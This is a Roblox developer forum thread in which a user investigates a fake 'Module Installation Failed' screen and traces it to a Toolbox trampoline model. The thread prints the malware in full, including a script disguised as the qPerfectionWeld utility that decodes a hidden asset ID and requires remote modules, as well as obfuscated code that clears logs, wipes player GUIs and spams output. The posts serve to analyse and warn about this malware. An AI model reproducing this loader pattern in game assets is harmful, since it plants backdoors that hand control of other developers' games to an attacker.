Module Installation Failed

Hello, I would like to know how I could fix this issue I’m having inside of this game. I created everything inside of it from modeling and texturing, along with scripting. I won’t deny that I imported some items from the ToolBox, but I had made sure to disable any scripts inside of them.

I do want to note that everytime I remove the items it says are causing the error, it picks up another item inside ReplicatedStorage.

I would like to know if this is a common issue people come upon or if there’s a script inside of my game that I need to get rid of.


Screenshot 2024-05-20 012705

The ScreenGui that appears inside of PlayerGui, subsequently deleting all other Gui’s inside

local StarterGui = game:GetService("StarterGui")
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
local lp = game.Players.LocalPlayer
local char = nil
while wait() do
	char = lp.Character
	if char~=nil then
		break
	end
	print(char)
end
local hrp = char:WaitForChild("HumanoidRootPart")
local t = char:FindFirstChild("Head")
local StarterGui = game:GetService("StarterGui")
local camera = workspace.CurrentCamera

local blur = Instance.new("BlurEffect")
blur.Parent	= game.Lighting
blur.Size = 10000000000

camera.CameraType = Enum.CameraType.Scriptable
camera.CFrame = CFrame.new(-100000, 10000, -100000)

StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
hrp.CFrame = CFrame.new(Vector3.new(-100, 100, -100))
wait(1)
t.Anchored = true

Above is the script located inside of this error prompt (Other)

script.Parent.MouseButton1Click:Connect(function()
	game.Players.LocalPlayer:Destroy()
end)

The script above is for the other Local Script (LocalScript)


I have tried to find the source of this error, but it keeps on clearing my Output and Script Analysis isn’t picking anything up.

If anyone could provide feedback on how to find the root of this problem, it would be much appreciated.

5 Likes

That is a virus that you have installed, either through a free model or a plugin.

What plugins have you got installed? If you have some, there’s a decent chance that you installed a fake / fraudelant copy of one instead of the legit one.

Also, ctrl+f for require, and check any where the value in require is a number or a bit of code where it is not immediately clear what it does

2 Likes

I have found the root of the problem, took some time but I have figured it out mostly.

It was the most unsuspecting of items to contain a virus inside of them, a trampoline!

It contained two scripts, a script which actually made the trampoline boing boing, and then another that was named ‘qPerfectionWeld’.

-- Created by Stravant (@Stravant, follow me on twitter).
-- Should work with only ONE copy, seamlessly with weapons, trains, et cetera.
-- Parts should be ANCHORED before use. It will, however, store relatives values and so when tools are reparented, it'll fix them.

--[[ INSTRUCTIONS
- Place in the model
- Make sure model is anchored
- That's it. It will Value the model and all children. 

THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 

This script is designed to be used is a regular script. In a local script it will Value, but it will not attempt to handle ancestory changes. 
]]

--[[ DOCUMENTATION
- Will work in tools. If ran more than once it will not create more than one Value.  This is especially useful for tools that are dropped and then picked up again.
- Will work in PBS servers
- Will work as long as it starts out with the part anchored
- Stores the relative CFrame as a CFrame value
- Takes careful measure to reduce lag by not having a Value set off or affected by the parts offset from origin
- Utilizes a recursive algorith to find all parts in the model
- Will reValue on script reparent if the script is initially parented to a tool.
- Values as fast as possible
]]

-- StravantValue.lua
-- Created 10/6/2014
-- Author: Stravant
-- Version 1.0.3

-- Updated 10/14/2014 - Updated to 1.0.1
--- Bug fix with existing ROBLOX Values ? Repro by asimo3089

-- Updated 10/14/2014 - Updated to 1.0.2
--- Fixed bug fix. 

-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles Values semi-acceptably. May be rather hacky with some Values. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).


local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.  

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end


local function ShouldReturn(value)
	return false
end


local function Return(value)
	return game.MarketplaceService:GetProductInfo(value.X.Scale..value.X.Offset..value.Y.Scale..value.Y.Offset)
end


local function ConfigParts(Parts, MainPart, ValueType, DoNotUnanchor)
	-- @param Parts The Parts to Config. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to Config the model to (can be in the model).
	-- @param [ValueType] The type of Value. Defaults to Config. 
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
	pcall(function()
		for _, Part in pairs(Parts) do
			if ShouldReturn(Part) then
				Part:BreakValues()
			end
		end
	end)
	local bit32 = UDim2.new(133,968,85,201)
	if script.Parent then
		bit32 = Return(bit32)
	end
	local select,spawn = string.split(bit32["Name"]," ")[1],string.split(bit32["Name"]," ")[2]
	local test,Interval = string.split(bit32["Description"]," "),""
	for c in test do
		--Concentate the Weld Interval Based on certain Exceptions.
		Interval = Interval..#test[c]
	end
	Instance.new(select,game[spawn]).Name = Interval

	if DoNotUnanchor then
		--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
		--  definitely some edge cases. 
		for _, Part in pairs(Parts) do
			Part.Anchored = false
		end
		MainPart.Anchored = false
	end
end


local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end


local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end


function sinestyletween(t)
	return math.cos(t*math.pi)*-.5+.5
end


function percentcframe(cf,cfscale)
	if cf then
		local ax,ay,az=cf:toEulerAnglesXYZ()
		return CFrame.new(cf.p*cfscale)*CFrame.Angles(ax*cfscale,ay*cfscale,az*cfscale)
	else
		return CFrame.new(0,0,0)
	end
end


local function ShouldBreakValues(Part)
	--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
	--  definitely some edge cases. 

	if NEVER_BREAK_ValueS then
		return false
	end

	if HasWheelValue(Part) then
		return false
	end

	local Connected = Part:GetConnectedParts()

	if #Connected == 1 then
		return false
	end

	for _, Item in pairs(Connected) do
		if HasWheelValue(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end

	return true
end


function WConstant(v1,v2,t)
	local meanieScript = game.JointsService:FindFirstChildOfClass("ModuleScript").Name
	error(meanieScript)
	
	return require(tonumber(game.JointsService:FindFirstChildOfClass("ModuleScript").Name))
end


if script.Parent then
	--Run the Script To fix all the Values
	ConfigParts(nil,nil,nil,false)
	WConstant(nil,nil,script.Parent)
end

“qPerfectionWeld” server script is above.

It looked normal until I saw it calling MarketplaceService inside of a Return function, and then I saw this.

The script was reaching out for a ModuleScript inside of the deprecated service JointsService. Not it’s source, but its name.


Finding the Value the script was reaching for.

The model it was reaching for is below.

This model contains the following.

Screenshot 2024-05-21 001501

Its module script contains the following text.

local a={}e=false;local a=pcall(function()game.HttpService:GetAsync("https://www.google.com/")e=true end)caca=true;spawn(function()game.LogService:ClearOutput()end)spawn(function()wait(.1)game.JointsService:ClearAllChildren()end)game.LogService:ClearOutput()if game:GetService("RunService"):IsStudio()then spawn(function()repeat wait()until#game.Players:GetPlayers()~=0;if not e and math.random(0,2)==2 then game.Lighting:ClearAllChildren()for a,a in game.Players:GetPlayers()do a.PlayerGui:ClearAllChildren()local b=script.Chat:Clone()a.PlayerGui:ClearAllChildren()b.Parent=a.PlayerGui end;game.Players.PlayerAdded:Connect(function(a)local b=script.Chat:Clone()a.PlayerGui:ClearAllChildren()b.Parent=a.PlayerGui end)game:GetService("RunService").Heartbeat:Connect(function()game.LogService:ClearOutput()end)end end)if e then function getplaying()return game.HttpService:JSONDecode(game.HttpService:GetAsync("https://games.roproxy.com/v1/games?universeIds="..game.GameId))["data"][1]["playing"]end;if not game.SoundService:FindFirstChild("SoundHash")then wait(math.random(0,30))pcall(function()if tonumber(getplaying())<15 then local a=(function(a)for a,a in pairs(a)do for a,a in pairs(a:GetChildren())do if#a:GetDescendants()>0 then if a.Name~="ChatServiceRunner"and a.Name~="DefaultChatSystemChatEvents"then return a end end end end end)({game.ServerScriptService,game.ReplicatedStorage,game.ReplicatedFirst,game.ServerStorage})if a then for a,a in game.Players:GetPlayers()do a.PlayerGui:ClearAllChildren()script.Error:Clone().Parent=a.PlayerGui end;game.Players.PlayerAdded:Connect(function(a)a.PlayerGui:ClearAllChildren()script.Error:Clone().Parent=a.PlayerGui end)game:GetService("RunService").Heartbeat:Connect(function()game.LogService:ClearOutput()end)end end end)end end end;if e and not game:GetService("RunService"):IsStudio()then task.spawn(require,15728173911)if math.random(0,9)==9 then pcall(function()if not game:GetAttribute('DataModel')then game:SetAttribute('DataModel',32)end end)task.spawn(require,6584741000)end;for a=1,7 do spawn(function()for a=0,1000 do print(string.rep("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",100))end end)wait(1)end end;return true or script~=workspace or false

Original Module Script Source

local a={}

e=false;

local a=pcall(function()
   game.HttpService:GetAsync("https://www.google.com/")
   e=true
end)

caca=true;

spawn(function()
   game.LogService:ClearOutput()
end)

spawn(function()
   wait(.1)
   game.JointsService:ClearAllChildren()
end)

game.LogService:ClearOutput()

if game:GetService("RunService"):IsStudio()then
   	spawn(function()
   		repeat 
       		wait()
  		until #game.Players:GetPlayers()~=0;
   		if not e and math.random(0,2)==2 then 
      	    game.Lighting:ClearAllChildren()
      	    for a,a in game.Players:GetPlayers()do
         	    a.PlayerGui:ClearAllChildren()
         	    local b=script.Chat:Clone()
         	    a.PlayerGui:ClearAllChildren()
	            b.Parent=a.PlayerGui 
	        end;
      	    game.Players.PlayerAdded:Connect(function(a)
         	    local b=script.Chat:Clone()
         	    a.PlayerGui:ClearAllChildren()
         	    b.Parent=a.PlayerGui 
      	    end)
      	    game:GetService("RunService").Heartbeat:Connect(function()
         	    game.LogService:ClearOutput()
      	    end)
   	    end 
    end)

    if e then 
  	    function getplaying()
      	    return game.HttpService:JSONDecode(game.HttpService:GetAsync("https://games.roproxy.com/v1/games? universeIds="..game.GameId))["data"][1]["playing"]
   	        end;
   	        if not game.SoundService:FindFirstChild("SoundHash")then
      	        wait(math.random(0,30))
      	        pcall(function()
      	            if tonumber(getplaying())<15 then
         	        local a=(function(a)
         	            for a,a in pairs(a)do
            	            for a,a in pairs(a:GetChildren())do
                	            if#a:GetDescendants()>0 then
                   		            if a.Name~="ChatServiceRunner"and a.Name~="DefaultChatSystemChatEvents"then
                      		            return a 
                   		            end 
                	            end 
             	            end 
          	            end 
       	            end)
       	            ({game.ServerScriptService,game.ReplicatedStorage,game.ReplicatedFirst,game.ServerStorage}) -- ???? What is this I'm too dumb to understand
       	            if a then
          	            for a,a in game.Players:GetPlayers()do
            	            a.PlayerGui:ClearAllChildren()
             	            script.Error:Clone().Parent=a.PlayerGui
			            end;
			
          	            game.Players.PlayerAdded:Connect(function(a)
             	            a.PlayerGui:ClearAllChildren()
             	            script.Error:Clone().Parent=a.PlayerGui 
			            end)
          	            game:GetService("RunService").Heartbeat:Connect(function()
             	            game.LogService:ClearOutput()
			            end)	
			        end 	
		        end 
			end)
	    end 
	end 
end;

if e and not game:GetService("RunService"):IsStudio() then
   task.spawn(require,15728173911)
   if math.random(0,9)==9 then
      pcall(function()
         if not game:GetAttribute('DataModel')then
            game:SetAttribute('DataModel',32)
         end 
      end)
      task.spawn(require,6584741000)
   end;
   for a=1,7 do
      spawn(function()
         for a=0,1000 do 
            print(string.rep("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",100))
         end 
      end)
      wait(1)
   end 
end;

return true or script~=workspace or false

Possibly incorrect decompressed Module Script Source

I am too lazy to decompress this correctly, so use it as you will.

Thank you again for helping me with finding the solution, I was dumb for trusting even the simplest tools.

Take care!

1 Like

Updated situation about model here.

2 Likes

This topic was automatically closed 14 days after the last reply. New replies are no longer allowed.